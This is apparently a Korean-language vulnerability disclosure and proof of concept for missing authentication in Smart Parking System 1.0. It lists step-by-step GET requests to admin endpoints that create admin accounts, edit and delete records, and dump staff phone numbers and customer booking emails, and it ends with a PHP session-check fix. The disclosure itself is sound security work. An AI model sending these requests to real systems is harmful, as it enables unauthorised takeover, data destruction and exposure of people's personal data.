
스마트 주차 시스템(Smart Parking System) 1.0에서 인증 없이 중요한 관리자 기능에 접근할 수 있음을 입증하는 개념 증명(PoC)으로, 계정 생성, 데이터 조작, 개인식별정보(PII) 노출을 가능하게 합니다.
| 필드 | 세부 정보 |
|---|
| 제품 | Smart Parking System |
| 공급업체 | code-projects.org |
| 버전 | 1.0 |
| 취약점 클래스 | 중요 기능에 대한 인증 누락 (CWE-306) |
| CVE ID | 대기 중 |
| CVSS 점수 | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 필요한 인증 | 없음 |
| 영향을 받는 파일 | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
code-projects.org의 Smart Parking System 1.0은 여러 관리자 전용 엔드포인트에 인증을 적용하지 않습니다. 인증되지 않은 원격 공격자는 세션 쿠키 없이 이러한 엔드포인트에 직접 접근하여 관리자 계정 생성, 주차 기록 편집 및 삭제, 모든 고객 개인정보 및 예약 데이터 조회를 포함한 권한 있는 작업을 수행할 수 있습니다.
이 취약점을 악용하는 데에는 자격 증명, 세션 토큰, 또는 합법적인 사용자의 상호 작용이 필요하지 않습니다.
자격 증명 없음 / 세션 없음
↓
관리자 엔드포인트에 직접 GET 요청
↓
attendant.php → 불법 관리자 계정 생성
edit.php → 모든 주차 기록 읽기 및 덮어쓰기
basic_table.php → 모든 주차 기록 삭제
basic_table2.php → 모든 관리자 개인정보 덤프
admin_request.php → 모든 고객 이메일 및 예약 데이터 덤프
↓
전체 관리자 기능 손상
쿠키가 없는 새 브라우저 세션을 엽니다. 애플리케이션 루트로 이동합니다. 활성 세션이 없음을 확인하는 로그인 페이지가 표시됩니다:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
관리자 등록 엔드포인트로 직접 이동합니다:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
결과: 이름, 성, 휴대폰 번호, 거리, 사용자 이름, 비밀번호 필드가 포함된 전체 "Add Parking Attendant Details" 양식이 로드됩니다. 공격자는 시스템 접근 권한이 있는 불법 관리자 계정을 등록할 수 있습니다.
주차 기록 편집 엔드포인트로 직접 이동합니다:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
결과: "Update Parkings Details" 양식이 실시간 데이터베이스 값으로 미리 채워져 로드됩니다:
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
공격자는 모든 필드를 덮어쓰고 제출하여 변경 사항을 데이터베이스에 직접 저장할 수 있습니다.
삭제 엔드포인트에 직접 GET 요청을 보냅니다:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
결과: 애플리케이션이 다음으로 응답합니다:
Parking deleted successfully
기록은 데이터베이스에서 영구적으로 삭제됩니다. 인증, CSRF 토큰, 확인 프롬프트가 필요하지 않습니다.
관리자 목록 엔드포인트로 직접 이동합니다:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
결과: 이름, 휴대폰 번호, 할당된 거리를 포함한 전체 관리자 명단이 반환됩니다:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
관리자 예약 요청 엔드포인트로 직접 이동합니다:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
결과: 이메일, 슬롯, 시간, 비용을 포함한 모든 고객 예약 기록이 반환됩니다:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| 파일 | 취약점 |
|---|---|
attendant.php | 인증되지 않은 관리자 계정 생성 |
edit.php | 주차 기록에 대한 인증되지 않은 읽기/쓰기 접근 |
basic_table.php | 주차 기록의 인증되지 않은 삭제 |
basic_table2.php | 전체 관리자 개인정보에 대한 인증되지 않은 접근 |
admin_request.php | 모든 고객 예약 데이터에 대한 인증되지 않은 접근 |
모든 관리자용 PHP 파일 상단에 세션 인증 확인을 추가합니다:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}